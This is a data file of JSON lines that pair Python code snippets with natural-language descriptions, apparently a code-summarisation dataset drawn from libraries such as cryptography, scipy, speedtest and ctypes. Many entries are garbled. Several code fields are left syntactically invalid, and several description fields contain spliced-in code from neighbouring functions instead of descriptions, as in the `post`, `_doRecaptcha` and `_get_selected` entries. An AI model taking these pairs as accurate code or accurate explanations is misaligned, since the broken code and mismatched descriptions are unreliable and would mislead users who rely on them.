key_type = self._lib.EVP_PKEY_id(evp_pkey)\n\n if key_type == self._lib.EVP_PKEY_RSA:\n rsa_cdata = self._lib.EVP_PKEY_get1_RSA(evp_pkey)\n self.openssl_assert(rsa_cdata != self._ffi.NULL)\n rsa_cdata = self._ffi.gc(rsa_cdata, self._lib.RSA_free)\n return _RSAPrivateKey(self, rsa_cdata, evp_pkey)\n elif key_type == self._lib.EVP_PKEY_DSA:\n dsa_cdata = self._lib.EVP_PKEY_get1_DSA(evp_pkey)\n self.openssl_assert(dsa_cdata != self._ffi.NULL)\n dsa_cdata = self._ffi.gc(dsa_cdata, self._lib.DSA_free)\n return _DSAPrivateKey(self, dsa_cdata, evp_pkey)\n elif (self._lib.Cryptography_HAS_EC == 1 and\n key_type == self._lib.EVP_PKEY_EC):\n ec_cdata = self._lib.EVP_PKEY_get1_EC_KEY(evp_pkey)\n self.openssl_assert(ec_cdata != self._ffi.NULL)\n ec_cdata = self._ffi.gc(ec_cdata, self._lib.EC_KEY_free)\n return _EllipticCurvePrivateKey(self, ec_cdata, evp_pkey)\n elif key_type in self._dh_types:\n dh_cdata = self._lib.EVP_PKEY_get1_DH(evp_pkey)\n self.openssl_assert(dh_cdata != self._ffi.NULL)\n dh_cdata = self._ffi.gc(dh_cdata, self._lib.DH_free)\n return _DHPrivateKey(self, dh_cdata, evp_pkey)\n else:\n raise UnsupportedAlgorithm(\"Unsupported key type.\")\n", "nl": "Return the appropriate type of PrivateKey given an evp_pkey cdatapointer."} {"code": "def cursor_id(self) -> Optional[int]:\n return self.__id\n\n @property", "nl": "Returns the id of the cursor.. versionadded:: 2.2"} {"code": "def generate( self ):\n DistributedCCharBase.DistributedCCharBase.generate(self, self.diffPath)\n name = self.getName()\n self.neutralDoneEvent = self.taskName(name + '-neutral-done')\n self.neutral = CharStateDatas.CharNeutralState(\n self.neutralDoneEvent, self)\n self.walkDoneEvent = self.taskName(name + '-walk-done')\n if self.diffPath == None:\n self.walk = CharStateDatas.CharWalkState(\n self.walkDoneEvent, self)\n else:\n self.walk = CharStateDatas.CharWalkState(\n self.walkDoneEvent, self, self.diffPath)\n self.fsm.request('Neutral')\n", "nl": "create Mickey and state data information"} {"code": "def _sosfilt(sos, x, axis=-1, zi=None):\n x = np.asarray(x)\n\n sos = np.atleast_2d(sos)\n if sos.ndim != 2:\n raise ValueError('sos array must be 2D')\n\n n_sections, m = sos.shape\n if m != 6:\n raise ValueError('sos array must be shape (n_sections, 6)')\n\n use_zi = zi is not None\n if use_zi:\n zi = np.asarray(zi)\n x_zi_shape = list(x.shape)\n x_zi_shape[axis] = 2\n x_zi_shape = tuple([n_sections] + x_zi_shape)\n if zi.shape != x_zi_shape:\n raise ValueError('Invalid zi shape. With axis=%r, an input with '\n 'shape %r, and an sos array with %d sections, zi '\n 'must have shape %r.' %\n (axis, x.shape, n_sections, x_zi_shape))\n zf = np.zeros_like(zi)\n\n for section in range(n_sections):\n if use_zi:\n x, zf[section] = lfilter(sos[section, :3], sos[section, 3:],\n x, axis, zi=zi[section])\n else:\n x = lfilter(sos[section, :3], sos[section, 3:], x, axis)\n out = (x, zf) if use_zi else x\n return out\n\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod(exclude_empty=True)", "nl": "Filter data along one dimension using cascaded second-order sectionsFilter a data sequence, `x`, using a digital IIR filter defined by`sos`. This is implemented by performing `lfilter` for eachsecond-order section. See `lfilter` for details.Parameters----------sos : array_likeArray of second-order filter coefficients, must have shape``(n_sections, 6)``. Each row corresponds to a second-ordersection, with the first three columns providing the numeratorcoefficients and the last three providing the denominatorcoefficients.x : array_likeAn N-dimensional input array.axis : int, optionalThe axis of the input data array along which to apply thelinear filter. The filter is applied to each subarray alongthis axis. Default is -1.zi : array_like, optionalInitial conditions for the cascaded filter delays. It is a (atleast 2D) vector of shape ``(n_sections, ..., 2, ...)``, where``..., 2, ...`` denotes the shape of `x`, but with ``x.shape[axis]``replaced by 2. If `zi` is None or is not given then initial rest(i.e. all zeros) is assumed.Note that these initial conditions are *not* the same as the initialconditions given by `lfiltic` or `lfilter_zi`.Returns-------y : :class:`numpy.ndarray`The output of the digital filter.zf : :class:`numpy.ndarray`, optionalIf `zi` is None, this is not returned, otherwise, `zf` holds thefinal filter delay values.See Also--------zpk2sos, sos2zpk, sosfilt_ziNotes-----The filter function is implemented as a series of second-order filterswith direct-form II transposed structure. It is designed to minimizenumerical precision errors for high-order filters.Examples--------Plot a 13th-order filter's impulse response using both `lfilter` and`sosfilt`, showing the instability that results from trying to do a13th-order filter in a single stage (the numerical error pushes some polesoutside of the unit circle):>>> import matplotlib.pyplot as plt>>> from scipy import signal>>> b, a = signal.ellip(13, 0.009, 80, 0.05, output='ba')>>> z, p, k = signal.ellip(13, 0.009, 80, 0.05, output='zpk')>>> sos = _zpk2sos(z, p, k)>>> x = np.zeros(700)>>> x[0] = 1.>>> y_tf = signal.lfilter(b, a, x)>>> y_sos = _sosfilt(sos, x)>>> plt.figure() # doctest: +ELLIPSIS<...Figure ...>>>> plt.plot(y_tf, 'r', label='TF') # doctest: +ELLIPSIS[]>>> plt.plot(y_sos, 'k', label='SOS') # doctest: +ELLIPSIS[]>>> plt.legend(loc='best') # doctest: +ELLIPSIS>>> plt.show()"} {"code": "def reflection_cache_overview(self) -> Dict[str, str]:\n pass\n\n\nT = TypeVar(\"T\")\n\n\"\"\"", "nl": "A summary of what runtime reflection has been performed by lagomThis will be empty if types have only be loaded from explicitdefinitions:return:"} {"code": "def check_other_not_read_if_coveragerc(self, fname):\n [run]\n include = foo\n \"\"\")\n [coverage:run]\n omit = bar\n branch = true\n \"\"\")", "nl": "Check config `fname` is not read if .coveragerc exists.self.make_file(\".coveragerc\", \\"} {"code": "def get_servers(self, servers=None, exclude=None):\n if servers is None:\n servers = []\n\n if exclude is None:\n exclude = []\n\n self.servers.clear()\n\n for server_list in (servers, exclude):\n for i, s in enumerate(server_list):\n try:\n server_list[i] = int(s)\n except ValueError:\n raise InvalidServerIDType(\n '%s is an invalid server type, must be int' % s\n )\n\n urls = [\n '://www.speedtest.net/speedtest-servers-static.php',\n 'http://c.speedtest.net/speedtest-servers-static.php',\n '://www.speedtest.net/speedtest-servers.php',\n 'http://c.speedtest.net/speedtest-servers.php',\n ]\n\n headers = {}\n if gzip:\n headers['Accept-Encoding'] = 'gzip'\n\n errors = []\n for url in urls:\n try:\n request = build_request(\n '%s?threads=%s' % (url,\n self.config['threads']['download']),\n headers=headers,\n secure=self._secure\n )\n uh, e = catch_request(request, opener=self._opener)\n if e:\n errors.append('%s' % e)\n raise ServersRetrievalError()\n\n stream = get_response_stream(uh)\n\n serversxml_list = []\n while 1:\n try:\n serversxml_list.append(stream.read(1024))\n except (OSError, EOFError):\n raise ServersRetrievalError(get_exception())\n if len(serversxml_list[-1]) == 0:\n break\n\n stream.close()\n uh.close()\n\n if int(uh.code) != 200:\n raise ServersRetrievalError()\n\n serversxml = ''.encode().join(serversxml_list)\n\n printer('Servers XML:\\n%s' % serversxml, debug=True)\n\n try:\n try:\n try:\n root = ET.fromstring(serversxml)\n except ET.ParseError:\n e = get_exception()\n raise SpeedtestServersError(\n 'Malformed speedtest.net server list: %s' % e\n )\n elements = etree_iter(root, 'server')\n except AttributeError:\n try:\n root = DOM.parseString(serversxml)\n except ExpatError:\n e = get_exception()\n raise SpeedtestServersError(\n 'Malformed speedtest.net server list: %s' % e\n )\n elements = root.getElementsByTagName('server')\n except (SyntaxError, xml.parsers.expat.ExpatError):\n raise ServersRetrievalError()\n\n for server in elements:\n try:\n attrib = server.attrib\n except AttributeError:\n attrib = dict(list(server.attributes.items()))\n\n if servers and int(attrib.get('id')) not in servers:\n continue\n\n if (int(attrib.get('id')) in self.config['ignore_servers']\n or int(attrib.get('id')) in exclude):\n continue\n\n try:\n d = distance(self.lat_lon,\n (float(attrib.get('lat')),\n float(attrib.get('lon'))))\n except Exception:\n continue\n\n attrib['d'] = d\n\n try:\n self.servers[d].append(attrib)\n except KeyError:\n self.servers[d] = [attrib]\n\n break\n\n except ServersRetrievalError:\n continue\n\n if (servers or exclude) and not self.servers:\n raise NoMatchedServers()\n\n return self.servers\n", "nl": "Retrieve a the list of speedtest.net servers, optionally filteredto servers matching those specified in the ``servers`` argument"} {"code": "def yolov5l(pretrained=False, channels=3, classes=80):\n return create('yolov5l', pretrained, channels, classes)\n\n", "nl": "YOLOv5-large model from https://github.com/ultralytics/yolov5Arguments:pretrained (bool): load pretrained weights into the model, default=Falsechannels (int): number of input channels, default=3classes (int): number of model classes, default=80Returns:pytorch model"} {"code": "def _increment_addr(self, addr, last_addr=None):\n if addr[1] is None:\n addr[1] = 0\n return super(QSCSIBus, self)._increment_addr(addr, last_addr=last_addr)\n\n\nclass QBusUnitBus(QDenseBus):\n\n \"\"\" Implementation of bus-unit/nr bus (ahci, ide, virtio-serial) \"\"\"", "nl": "Qemu doesn't increment lun automatically so don't use it whenit's not explicitly specified."} {"code": "def post(self, rule: str, **options: Any) -> Callable[[T_route], T_route]:\n return self._method_route(\"PUT\", rule, options)\n\n @setupmethod", "nl": "Syntactic sugar for :meth:`route` with ``methods=[\"POST\"]``.return self._method_route(\"POST\", rule, options)@setupmethoddef put(self, rule: str, **options: Any) -> Callable[[T_route], T_route]:Syntactic sugar for :meth:`route` with ``methods=[\"PUT\"]``."} {"code": "def __set_compile_as(context, flag_name, node):\n del context, flag_name, node\n flag_values = {\n 'CompileAsCpp': {cl_flags: '/TP'},\n 'CompileAsC': {cl_flags: '/TC'},", "nl": "Set Compile As flag: /TP, TC"} {"code": "def on_table_sort(sender, cluster_ids):\n if not view.auto_update or cluster_ids is None or not len(cluster_ids):\n return\n view.set_cluster_ids(cluster_ids)\n view.plot()\n\n @connect(sender=self.supervisor)", "nl": "Update the order of the clusters when the sort is changed in the cluster view.if not view.auto_update or cluster_ids is None or not len(cluster_ids):returnview.update_cluster_sort(cluster_ids)@connect(sender=self.supervisor.cluster_view)def on_table_filter(sender, cluster_ids):Update the order of the clusters when a filtering is applied on the cluster view."} {"code": "def __init__(self, attributes=None):\n super(Ont2GFrame, self).__init__(Ont2G, 0,\n MEFrame._attr_to_data(attributes))\n\n\nclass PptpEthernetUniFrame(MEFrame):\n \"\"\"", "nl": ":param attributes: (basestring, list, set, dict) attributes. For getsa string, list, or set can be provided. For create/setoperations, a dictionary should be provided, fordeletes None may be specified."} {"code": "def CFUNCTYPE(restype, *argtypes, **kw):\n flags = _FUNCFLAG_CDECL\n if kw.pop('use_errno', False):\n flags |= _FUNCFLAG_USE_ERRNO\n if kw.pop('use_last_error', False):\n flags |= _FUNCFLAG_USE_LASTERROR\n if kw:\n raise ValueError('unexpected keyword argument(s) %s' % kw.keys())\n try:\n return _c_functype_cache[restype, argtypes, flags]\n except KeyError:\n\n class CFunctionType(_CFuncPtr):\n _argtypes_ = argtypes\n _restype_ = restype\n _flags_ = flags\n\n _c_functype_cache[restype, argtypes, flags] = CFunctionType\n return CFunctionType\n\n\nif _os.name in ('nt', 'ce'):\n from _ctypes import LoadLibrary as _dlopen\n from _ctypes import FUNCFLAG_STDCALL as _FUNCFLAG_STDCALL\n if _os.name == 'ce':\n _FUNCFLAG_STDCALL = _FUNCFLAG_CDECL\n _win_functype_cache = {}\n", "nl": "CFUNCTYPE(restype, *argtypes,use_errno=False, use_last_error=False) -> function prototype.restype: the result typeargtypes: a sequence specifying the argument typesThe function prototype can be called in different ways to create acallable object:prototype(integer address) -> foreign functionprototype(callable) -> create and return a C callable function from callableprototype(integer index, method name[, paramflags]) -> foreign function calling a COM methodprototype((ordinal number, dll object)[, paramflags]) -> foreign function exported by ordinalprototype((function name, dll object)[, paramflags]) -> foreign function exported by name"} {"code": "def go(self, node, env):\n if Err.count == 0:\n if Cmd.print_pass:\n print(\"Running: \" + self.name, file=sys.stderr)\n env.reset()\n self.prePass()\n node.accept(self, env)\n self.postPass()\n env.reset()\n if Cmd.print_labels:\n print(\"Current labels:\", file=sys.stderr)\n print(env, file=sys.stderr)\n if Cmd.print_ir:\n print(\"Current IR:\", file=sys.stderr)\n print(node, file=sys.stderr)\n\n\nclass FixPoint(object):\n \"\"\"A specialized class that is not a pass but can be run like one.", "nl": "Prepares the environment and runs this pass, possiblyprinting debugging information."} {"code": "def _doRecaptcha(self, replyTo, values, errors):\n valid = re.match(r'[ ]*[\\w]+[ ]+[\\w]+[ ]*', values.recaptchaResponse)\n if not valid:\n errors.add('recaptchaCustom', 'Invalid entry')\n", "nl": "rResponse = recaptcha.submit(values.recaptchaChallenge, values.recaptchaResponse,self.ReCAPTCHAPrivateKey, replyTo.getSourceAddress())if not rResponse.is_valid:errors.add('recaptcha', rResponse.error_code)"} {"code": "def init(self, tablename):\n\n\nclass DBError(Exception):\n '''Database exception in nomad'''", "nl": "self.query(CREATE TABLE %s (name varchar(255) NOT NULL,date %s NOT NULL) % (tablename, self.datetime_type))"} {"code": "def interleave_longest(*iterables):\n i = chain.from_iterable(zip_longest(*iterables, fillvalue=_marker))\n return (x for x in i if x is not _marker)\n\n", "nl": "Return a new iterable yielding from each iterable in turn,skipping any that are exhausted.>>> list(interleave_longest([1, 2, 3], [4, 5], [6, 7, 8]))[1, 4, 6, 2, 5, 7, 3, 8]This function produces the same output as :func:`roundrobin`, but mayperform better for some inputs (in particular when the number of iterablesis large)."} {"code": "def _get_selected(fields, art_f_alias, art_c_alias):\n dictionnaries and handling the agreggation around feeds_id.\n \"\"\"", "nl": "Return selected fieldsselected_fields = list(fields.values())selected_fields.append(func.array_agg(art_f_alias.feed_id, type_=ARRAY(Integer)).label('feeds_id'))return selected_fieldsdef _join_on_exist(self, query, alias, attr, value, filters):val_col = getattr(alias, attr)exist_query = exists(select([val_col]).where(and_(alias.cluster_id == Cluster.id,alias.user_id == self.user_id, val_col == value)).correlate(Cluster).limit(1))return query.join(alias, and_(alias.user_id == self.user_id,alias.cluster_id == Cluster.id,*filters))\\.filter(exist_query)@staticmethoddef _iter_on_query(query):For a given query will iter on it, transforming raw rows to proper"} {"code": "def run_bib(self, filename):\n self.log.info(\"Removing temporary LaTeX files\")\n filename = os.path.splitext(filename)[0]\n for ext in self.temp_file_exts:\n try:\n os.remove(filename+ext)\n except OSError:\n pass\n", "nl": "Run bibtex self.latex_count times.filename = os.path.splitext(filename)[0]def log_error(command, out):self.log.warn('%s had problems, most likely because there were no citations',command[0])self.log.debug(u\"%s output: %s\\n%s\", command[0], command, out)return self.run_command(self.bib_command, filename, 1, log_error)def clean_temp_files(self, filename):Remove temporary files created by xelatex/bibtex."} {"code": "def test_expand():\n fake_bioframe = pd.read_csv(StringIO(d), sep=r\"\\s+\")\n\n expand_bp = 10\n fake_expanded = bioframe.expand(fake_bioframe, expand_bp)\n d = \"\"\"chrom start end\n df = pd.read_csv(StringIO(d), sep=r\"\\s+\")\n pd.testing.assert_frame_equal(df, fake_expanded)\n\n expand_bp = -10\n fake_expanded = bioframe.expand(fake_bioframe, expand_bp)\n d = \"\"\"chrom start end\n df = pd.read_csv(StringIO(d), sep=r\"\\s+\")\n pd.testing.assert_frame_equal(df, fake_expanded)\n\n expand_bp = -10\n fake_expanded = bioframe.expand(fake_bioframe, expand_bp, side=\"left\")\n d = \"\"\"chrom start end\n df = pd.read_csv(StringIO(d), sep=r\"\\s+\")\n pd.testing.assert_frame_equal(df, fake_expanded)\n\n mult = 0\n fake_expanded = bioframe.expand(fake_bioframe, pad=None, scale=mult)\n d = \"\"\"chrom start end\n df = pd.read_csv(StringIO(d), sep=r\"\\s+\")\n pd.testing.assert_frame_equal(df, fake_expanded)\n\n mult = 2.0\n fake_expanded = bioframe.expand(fake_bioframe, pad=None, scale=mult)\n d = \"\"\"chrom start end\n df = pd.read_csv(StringIO(d), sep=r\"\\s+\")\n pd.testing.assert_frame_equal(df, fake_expanded)\n\n d = \"\"\"chrom start end\n fake_bioframe = pd.read_csv(StringIO(d), sep=r\"\\s+\").astype(\n {\"start\": pd.Int64Dtype(), \"end\": pd.Int64Dtype()}\n )\n mult = 1.10\n fake_expanded = bioframe.expand(fake_bioframe, pad=None, scale=mult)\n d = \"\"\"chrom start end\n df = pd.read_csv(StringIO(d), sep=r\"\\s+\").astype(\n {\"start\": pd.Int64Dtype(), \"end\": pd.Int64Dtype()}\n )\n pd.testing.assert_frame_equal(df, fake_expanded)\n\n", "nl": "d = chrom start end0 chr1 1 51 chr1 50 552 chr2 100 200"} {"code": "def collect(self) -> ir.ArrayValue:\n\n Corresponds to `IS NOT DISTINCT FROM` in SQL.\n\n Parameters\n ----------\n other\n Expression to compare to\n\n Returns\n -------\n BooleanValue\n Whether this expression is not distinct from `other`\n \"\"\"", "nl": "Return an array of the elements of this expression.import ibis.expr.operations as opsreturn ops.ArrayCollect(self).to_expr()def identical_to(self, other: Value) -> ir.BooleanValue:Return whether this expression is identical to other."} {"code": "def pool_create_as(name, pool_type, target, extra=\"\", **dargs):\n\n if not name:\n LOG.error(\"Please give a pool name\")\n\n pool_type = _pool_type_check(pool_type)\n if pool_type is None:\n return False\n\n LOG.info(\"Create %s type pool %s\", pool_type, name)\n cmd = \"pool-create-as --name %s --type %s --target %s %s\" \\\n % (name, pool_type, target, extra)\n dargs['ignore_status'] = False\n try:\n command(cmd, **dargs)\n return True\n except process.CmdError as detail:\n LOG.error(\"Failed to create pool: %s.\", detail)\n return False\n\n", "nl": "Create a pool from a set of args.:param name: name of pool:param pool_type: storage pool type such as 'dir':param target: libvirt uri to send guest to:param extra: Free-form string of options:param dargs: standardized virsh function API keywords:return: True if pool creation command was successful"} {"code": "def is_permanent_redirect(self):\n return self._next\n\n @property", "nl": "True if this Response one of the permanent versions of redirect.return ('location' in self.headers and self.status_code in (codes.moved_permanently, codes.permanent_redirect))@propertydef next(self):Returns a PreparedRequest for the next request in a redirect chain, if there is one."} {"code": "def verify_unplug(self, out, monitor):\n throttle-group object.\n \"\"\"", "nl": "Verify if it is unplugged from VM.return not self._is_attached_to_qemu(monitor)class QThrottleGroup(QObject):"} {"code": "def kth_neighbor(self, k):\n allNeighbors = sorted(self.neighbors, reverse=True, key=lambda col: col.overlap)\n index = min(k-1,len(allNeighbors)-1)\n return allNeighbors[index]\n\n @property", "nl": "Numenta docs: Given the list of columns, return the kth highest overlap value"} {"code": "def __call__(self, image, annotations=None):\n image_size = image.shape[:2]\n image = self.apply_image(image)\n\n if annotations is not None:\n for annotation in annotations:\n if \"bbox\" in annotation:\n bbox = BoxMode.convert(annotation[\"bbox\"],\n annotation[\"bbox_mode\"],\n BoxMode.XYXY_ABS)\n annotation[\"bbox\"] = self.apply_box([bbox])[0]\n annotation[\"bbox_mode\"] = BoxMode.XYXY_ABS\n\n if \"segmentation\" in annotation:\n segm = annotation[\"segmentation\"]\n if isinstance(segm, list):\n polygons = [np.asarray(p).reshape(-1, 2) for p in segm]\n annotation[\"segmentation\"] = [\n p.reshape(-1)\n for p in self.apply_polygons(polygons)\n ]\n elif isinstance(segm, dict):\n mask = mask_util.decode(segm)\n mask = self.apply_segmentation(mask)\n assert tuple(mask.shape[:2]) == image_size\n annotation[\"segmentation\"] = mask\n else:\n raise ValueError(\n \"Cannot transform segmentation of type '{}'!\"\n \"Supported types are: polygons as list[list[float] or ndarray],\"\n \" COCO-style RLE as a dict.\".format(type(segm)))\n\n if \"keypoints\" in annotation:\n \"\"\"\n keypoints = annotation[\"keypoints\"]\n keypoints = np.asarray(keypoints,\n dtype=\"float64\").reshape(-1, 3)\n keypoints[:, :2] = self.apply_coords(keypoints[:, :2])\n\n keypoints[keypoints[:, 2] == 0] = 0\n\n annotation[\"keypoints\"] = keypoints\n\n if \"sem_seg\" in annotation:\n sem_seg = annotation[\"sem_seg\"]\n if isinstance(sem_seg, np.ndarray):\n sem_seg = self.apply_segmentation(sem_seg)\n assert tuple(sem_seg.shape[:2]) == tuple(image.shape[:2]), (\n f\"Image shape is {image.shape[:2]}, \"\n f\"but sem_seg shape is {sem_seg.shape[:2]}.\"\n )\n annotation[\"sem_seg\"] = sem_seg\n else:\n raise ValueError(\n \"Cannot transform segmentation of type '{}'!\"\n \"Supported type is ndarray.\".format(type(sem_seg)))\n return image, annotations\n\n @classmethod", "nl": "Apply transfrom to images and annotations (if exist)"} {"code": "def video_search_with_filtering(subscription_key):\n client = VideoSearchAPI(CognitiveServicesCredentials(subscription_key))\n\n try:\n video_result = client.videos.search(\n query=\"Bellevue Trailer\",\n pricing=VideoPricing.free,\n length=VideoLength.short,\n resolution=VideoResolution.hd1080p\n )\n print(\"Search videos for query \\\"Bellevue Trailer\\\" that is free, short and 1080p resolution\")\n\n if video_result.value:\n first_video_result = video_result.value[0]\n print(\"Video result count: {}\".format(len(video_result.value)))\n print(\"First video id: {}\".format(first_video_result.video_id))\n print(\"First video name: {}\".format(first_video_result.name))\n print(\"First video url: {}\".format(first_video_result.content_url))\n else:\n print(\"Didn't see any video result data..\")\n\n except Exception as err:\n print(\"Encountered exception. {}\".format(err))\n\n", "nl": "VideoSearchWithFilters.This will search videos for (Bellevue Trailer) that is free, short and 1080p resolution then verify number of results and print out id, name and url of first video result"} {"code": "def with_metaclass(meta, *bases):", "nl": "Create a base class with a metaclass.# This requires a bit of explanation: the basic idea is to make a dummy# metaclass for one level of class instantiation that replaces itself with# the actual metaclass.class metaclass(meta):def __new__(cls, name, this_bases, d):return meta(name, bases, d)return type.__new__(metaclass, 'temporary_class', (), {})def add_metaclass(metaclass):Class decorator for creating a class with a metaclass."} {"code": "def test_default_card_returns_str():\n card = None\n result = connectionStatus(card)\n assert isinstance(result, str)\n assert \"Network card is not enabled\" == result\n\n", "nl": "test for src.net_api.defaultcardresult = defaultcard()assert isinstance(result, str)# TODO: mock subprocess to return empty listdef test_card_online():net_card = defaultcard()result = card_online(net_card)assert resultdef test_card_not_online():net_card = \"em99\"result = card_online(net_card)assert not resultdef test_connection_status_card_is_none():test for src.net_api.connectionStatus"} {"code": "def time_remaining(self):\n raise NotImplementedError()\n\n @abc.abstractmethod", "nl": "Describes the length of allowed time remaining for the RPC.Returns:A nonnegative float indicating the length of allowed time in secondsremaining for the RPC to complete before it is considered to have timedout."} {"code": "def test_enforcing_reading_byteorder(self):\n tr = Trace(data=np.arange(10, dtype=np.int32))\n\n memfile = io.BytesIO()\n tr.write(memfile, format=\"mseed\", byteorder=\"<\")\n memfile.seek(0, 0)\n tr2 = read(memfile, header_byteorder=\"<\")[0]\n memfile.seek(0, 0)\n self.assertEqual(tr2.stats.mseed.byteorder, \"<\")\n del tr2.stats.mseed\n del tr2.stats._format\n self.assertEqual(tr, tr2)\n self.assertRaises(ValueError, read, memfile, header_byteorder=\">\")\n\n memfile = io.BytesIO()\n tr.write(memfile, format=\"mseed\", byteorder=\">\")\n memfile.seek(0, 0)\n tr2 = read(memfile, header_byteorder=\">\")[0]\n memfile.seek(0, 0)\n self.assertEqual(tr2.stats.mseed.byteorder, \">\")\n del tr2.stats.mseed\n del tr2.stats._format\n self.assertEqual(tr, tr2)\n self.assertRaises(ValueError, read, memfile, header_byteorder=\"<\")\n", "nl": "Tests if setting the byte order of the header for reading is passed tothe C functions.Quite simple. It just checks if reading with the correct byte orderworks and reading with the wrong byte order fails."} {"code": "def setup_class(cls):\n assert self.result.exit_code == 1\n", "nl": "Set the test up.cls.runner = CliRunner()cls.agent_name = \"myagent\"cls.resource_name = \"myresource\"cls.cwd = os.getcwd()cls.t = tempfile.mkdtemp()dir_path = Path(\"packages\")tmp_dir = cls.t / dir_pathsrc_dir = cls.cwd / Path(ROOT_DIR, dir_path)shutil.copytree(str(src_dir), str(tmp_dir))os.chdir(cls.t)result = cls.runner.invoke(cli, [*CLI_LOG_OPTION, \"init\", \"--local\", \"--author\", AUTHOR])assert result.exit_code == 0result = cls.runner.invoke(cli,[*CLI_LOG_OPTION, \"create\", \"--local\", cls.agent_name],standalone_mode=False,)assert result.exit_code == 0cls.patch = unittest.mock.patch(\"shutil.copytree\", side_effect=Exception(\"unknwon exception\"))cls.patch.start()os.chdir(cls.agent_name)cls.result = cls.runner.invoke(cli,[*CLI_LOG_OPTION, \"scaffold\", \"skill\", cls.resource_name],standalone_mode=False,)def test_exit_code_equal_to_1(self):Test that the exit code is equal to 1 (i.e. catchall for general errors)."} {"code": "def __getitem__(self, y):\n if isinstance(y, slice):\n return newlist(super(newlist, self).__getitem__(y))\n else:\n return super(newlist, self).__getitem__(y)\n", "nl": "x.__getitem__(y) <==> x[y]Warning: a bug in Python 2.x prevents indexing via a slice fromreturning a newlist object."} {"code": "def test_len_unpack_not():\n wrapped = ~condition\n assert wrapped.operation == \"not\"\n assert wrapped.values[0] is condition\n\n", "nl": "Even though not(not(x)) -> x shouldn't exist, its length should be the inner lengthlt, gt = conditions_for(\"<\", \">\")outer = NotCondition(lt)condition = NotCondition(outer)assert len(condition) == len(outer) == 1# Swap inner for an AND with length 2and_ = AndCondition(lt, gt)outer.values[0] = and_assert len(condition) == len(outer) == len(and_) == 2@pytest.mark.parametrize(\"condition\", conditions_for(\"begins_with\", \"between\", \"contains\", \"in\",\">\", \"<\", \">=\", \"<=\", \"==\", \"!=\",\"and\", \"or\"))def test_invert_wraps(condition):everything but not and () are wrapped in a not"} {"code": "def test_group_list_in_presence_of_custom_group_types(self):", "nl": "Getting the group_list shouldn't return custom group types.group1 = factories.Group()group2 = factories.Group()factories.Group(type=\"custom\")group_list = helpers.call_action(\"group_list\")assert sorted(group_list) == sorted([g[\"name\"] for g in [group1, group2]])def test_group_list_return_custom_group(self):"} {"code": "def initialize(self, state, dict_):\n\n collection, user_data = self._initialize_collection(state)\n\n if value:\n collection.append_multiple_without_event(value)\n\n state.dict[self.key] = user_data\n\n state._commit(dict_, [self.key])\n\n if self.key in state._pending_mutations:\n state._modified_event(dict_, self, user_data, True)\n\n pending = state._pending_mutations.pop(self.key)\n added = pending.added_items\n removed = pending.deleted_items\n for item in added:\n collection.append_without_event(item)\n for item in removed:\n collection.remove_without_event(item)\n\n return user_data\n", "nl": "Initialize this attribute with an empty collection._, user_data = self._initialize_collection(state)dict_[self.key] = user_datareturn user_datadef _initialize_collection(self, state):adapter, collection = state.manager.initialize_collection(self.key, state, self.collection_factory)self.dispatch.init_collection(state, collection, adapter)return adapter, collectiondef append(self, state, dict_, value, initiator, passive=PASSIVE_OFF):collection = self.get_collection(state, dict_, passive=passive)if collection is PASSIVE_NO_RESULT:value = self.fire_append_event(state, dict_, value, initiator)assert self.key not in dict_, \\\"Collection was loaded during event handling.\"state._get_pending_mutation(self.key).append(value)else:collection.append_with_event(value, initiator)def remove(self, state, dict_, value, initiator, passive=PASSIVE_OFF):collection = self.get_collection(state, state.dict, passive=passive)if collection is PASSIVE_NO_RESULT:self.fire_remove_event(state, dict_, value, initiator)assert self.key not in dict_, \\\"Collection was loaded during event handling.\"state._get_pending_mutation(self.key).remove(value)else:collection.remove_with_event(value, initiator)def pop(self, state, dict_, value, initiator, passive=PASSIVE_OFF):try:# TODO: better solution here would be to add# a \"popper\" role to collections.py to complement# \"remover\".self.remove(state, dict_, value, initiator, passive=passive)except (ValueError, KeyError, IndexError):passdef set(self, state, dict_, value, initiator=None,passive=PASSIVE_OFF, pop=False, _adapt=True):iterable = orig_iterable = value# pulling a new collection first so that an adaptation exception does# not trigger a lazy load of the old collection.new_collection, user_data = self._initialize_collection(state)if _adapt:if new_collection._converter is not None:iterable = new_collection._converter(iterable)else:setting_type = util.duck_type_collection(iterable)receiving_type = self._duck_typed_asif setting_type is not receiving_type:given = iterable is None and 'None' or \\iterable.__class__.__name__wanted = self._duck_typed_as.__name__raise TypeError(\"Incompatible collection type: %s is not %s-like\" % (given, wanted))# If the object is an adapted collection, return the (iterable)# adapter.if hasattr(iterable, '_sa_iterator'):iterable = iterable._sa_iterator()elif setting_type is dict:if util.py3k:iterable = iterable.values()else:iterable = getattr(iterable, 'itervalues', iterable.values)()else:iterable = iter(iterable)new_values = list(iterable)old = self.get(state, dict_, passive=PASSIVE_ONLY_PERSISTENT)if old is PASSIVE_NO_RESULT:old = self.initialize(state, dict_)elif old is orig_iterable:# ignore re-assignment of the current collection, as happens# implicitly with in-place operators (foo.collection |= other)return# place a copy of \"old\" in state.committed_statestate._modified_event(dict_, self, old, True)old_collection = old._sa_adapterdict_[self.key] = user_datacollections.bulk_replace(new_values, old_collection, new_collection)del old._sa_adapterself.dispatch.dispose_collection(state, old, old_collection)def _invalidate_collection(self, collection):adapter = getattr(collection, '_sa_adapter')adapter.invalidated = Truedef set_committed_value(self, state, dict_, value):Set an attribute value on the given instance and 'commit' it."} {"code": "def resnet50(pretrained=False, **kwargs):\n model = ResNet(Bottleneck, [3, 4, 6, 3], **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls['resnet50']))\n return model\n\n", "nl": "Constructs a ResNet-50 model.Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def attach(pid, gdb_path=type_defs.PATHS.GDB_PATH):\n global currentpid\n pid = int(pid)\n traced_by = SysUtils.is_traced(pid)\n pid_control_list = [", "nl": "rAttaches gdb to the target and initializes some of the global variablesArgs:pid (int,str): PID of the process that'll be attached togdb_path (str): Path of the gdb binaryReturns:tuple: (A member of type_defs.ATTACH_RESULT, result_message)Note:If gdb is already initialized, gdb_path will be ignored"} {"code": "def replace_coord(arr, old_dim, new_dim, new_coord):\n phalf_top = arr.isel(**{internal_names.PHALF_STR: slice(1, None)})\n phalf_top = replace_coord(phalf_top, internal_names.PHALF_STR,\n internal_names.PFULL_STR, pfull_coord)\n\n phalf_bot = arr.isel(**{internal_names.PHALF_STR: slice(None, -1)})\n phalf_bot = replace_coord(phalf_bot, internal_names.PHALF_STR,\n internal_names.PFULL_STR, pfull_coord)\n return 0.5*(phalf_bot + phalf_top)\n\n", 